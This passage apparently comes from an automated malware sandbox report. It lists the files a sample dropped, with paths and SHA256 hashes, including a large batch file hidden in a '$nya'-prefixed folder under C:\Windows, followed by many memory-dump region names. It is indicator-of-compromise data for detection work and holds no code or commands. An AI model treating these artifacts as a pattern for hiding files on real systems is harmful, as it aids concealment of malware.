                                                                                                                                • SHA256 9da2af6ee320c7629778a8fa53e208b64c0f385ada4ea67d29cb7567fb378c49
                                                                                                                                • MD5 SHA1 SHA512

                                                                                                                                StartupProfileData-NonInteractive

                                                                                                                                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                • Size 1KB
                                                                                                                                • SHA256 5c30482a0081ef62fa5f722ab1071df9c8d796730227374a9cdf8d58c795023b
                                                                                                                                • MD5 SHA1 SHA512

                                                                                                                                __PSScriptPolicyTest_jfuqjzo1.2yu.ps1

                                                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jfuqjzo1.2yu.ps1
                                                                                                                                • Size 60B
                                                                                                                                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                                                                                                                • MD5 SHA1 SHA512

                                                                                                                                $nya-Loli.bat

                                                                                                                                • Path C:\Windows\$nya-onimai3\$nya-Loli.bat
                                                                                                                                • Size 3.4MB
                                                                                                                                • SHA256 5332bb08b594d2cff1264e99063a6cddb056aaa3b02a49ab6f42ca6f95ac3f9d
                                                                                                                                • MD5 SHA1 SHA512 SSDEEP

                                                                                                                                memory/556-131-0x0000024FA6C80000-0x0000024FA6CAA000-memory.dmp

                                                                                                                                memory/652-89-0x0000024D5D880000-0x0000024D5D8AA000-memory.dmp

                                                                                                                                memory/652-98-0x0000024D5D880000-0x0000024D5D8AA000-memory.dmp

                                                                                                                                memory/652-99-0x00007FF93DC30000-0x00007FF93DC40000-memory.dmp

                                                                                                                                memory/652-97-0x0000024D5D880000-0x0000024D5D8AA000-memory.dmp

                                                                                                                                memory/652-96-0x0000024D5D880000-0x0000024D5D8AA000-memory.dmp

                                                                                                                                memory/652-95-0x0000024D5D880000-0x0000024D5D8AA000-memory.dmp

                                                                                                                                memory/652-94-0x0000024D5D880000-0x0000024D5D8AA000-memory.dmp

                                                                                                                                memory/652-88-0x0000024D5D880000-0x0000024D5D8AA000-memory.dmp

                                                                                                                                memory/652-87-0x0000024D5D850000-0x0000024D5D874000-memory.dmp

                                                                                                                                memory/708-111-0x0000026107530000-0x000002610755A000-memory.dmp

                                                                                                                                memory/708-112-0x0000026107530000-0x000002610755A000-memory.dmp

                                                                                                                                memory/708-103-0x0000026107530000-0x000002610755A000-memory.dmp

                                                                                                                                memory/708-108-0x0000026107530000-0x000002610755A000-memory.dmp

                                                                                                                                memory/708-109-0x0000026107530000-0x000002610755A000-memory.dmp

                                                                                                                                memory/708-110-0x0000026107530000-0x000002610755A000-memory.dmp

                                                                                                                                memory/708-113-0x00007FF93DC30000-0x00007FF93DC40000-memory.dmp

                                                                                                                                memory/1008-117-0x000001FC0DF90000-0x000001FC0DFBA000-memory.dmp

                                                                                                                                memory/1008-122-0x000001FC0DF90000-0x000001FC0DFBA000-memory.dmp

                                                                                                                                memory/1008-123-0x000001FC0DF90000-0x000001FC0DFBA000-memory.dmp

                                                                                                                                memory/1008-124-0x000001FC0DF90000-0x000001FC0DFBA000-memory.dmp

                                                                                                                                memory/1008-125-0x000001FC0DF90000-0x000001FC0DFBA000-memory.dmp

                                                                                                                                memory/1008-126-0x000001FC0DF90000-0x000001FC0DFBA000-memory.dmp

                                                                                                                                memory/1008-127-0x00007FF93DC30000-0x00007FF93DC40000-memory.dmp

                                                                                                                                memory/2064-16-0x00007FF95CD53000-0x00007FF95CD55000-memory.dmp

                                                                                                                                memory/2064-14-0x000002023DEF0000-0x000002023DEFA000-memory.dmp

                                                                                                                                memory/2064-9-0x000002023DE50000-0x000002023DE72000-memory.dmp

                                                                                                                                memory/2064-10-0x00007FF95CD50000-0x00007FF95D812000-memory.dmp

                                                                                                                                memory/2064-11-0x00007FF95CD50000-0x00007FF95D812000-memory.dmp

                                                                                                                                memory/2064-12-0x00007FF95CD50000-0x00007FF95D812000-memory.dmp

                                                                                                                                memory/2064-13-0x000002023E2C0000-0x000002023E306000-memory.dmp

                                                                                                                                memory/2064-17-0x00007FF95CD50000-0x00007FF95D812000-memory.dmp

                                                                                                                                memory/2064-15-0x00000202463E0000-0x00000202465EE000-memory.dmp

                                                                                                                                memory/2064-56-0x00007FF95CD50000-0x00007FF95D812000-memory.dmp

                                                                                                                                memory/2064-0-0x00007FF95CD53000-0x00007FF95CD55000-memory.dmp

                                                                                                                                memory/3004-61-0x000001485E750000-0x000001485EC78000-memory.dmp

                                                                                                                                memory/3004-60-0x000001485E050000-0x000001485E212000-memory.dmp

                                                                                                                                memory/3004-59-0x000001485DDC0000-0x000001485DE72000-memory.dmp

                                                                                                                                memory/3004-58-0x000001485DCB0000-0x000001485DD00000-memory.dmp

                                                                                                                                memory/3004-57-0x000001485CAB0000-0x000001485D018000-memory.dmp

                                                                                                                                memory/3188-31-0x00007FF95CD50000-0x00007FF95D812000-memory.dmp

                                                                                                                                memory/3188-18-0x00007FF95CD50000-0x00007FF95D812000-memory.dmp

                                                                                                                                memory/3188-19-0x00007FF95CD50000-0x00007FF95D812000-memory.dmp

                                                                                                                                memory/3440-62-0x0000000000BC0000-0x0000000000BE9000-memory.dmp

                                                                                                                                memory/4360-81-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                                memory/4360-82-0x00007FF97DBA0000-0x00007FF97DDA9000-memory.dmp

                                                                                                                                memory/4360-79-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                                memory/4360-83-0x00007FF97C710000-0x00007FF97C7CD000-memory.dmp

                                                                                                                                memory/4360-84-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                                memory/4360-78-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                                memory/4360-77-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                                memory/4360-76-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                                memory/4364-63-0x0000000000400000-0x000000000042B000-memory.dmp

                                                                                                                                memory/4652-75-0x00007FF97C710000-0x00007FF97C7CD000-memory.dmp

                                                                                                                                memory/4652-74-0x00007FF97DBA0000-0x00007FF97DDA9000-memory.dmp

                                                                                                                                memory/4652-73-0x00000238C0AC0000-0x00000238C0AEA000-memory.dmp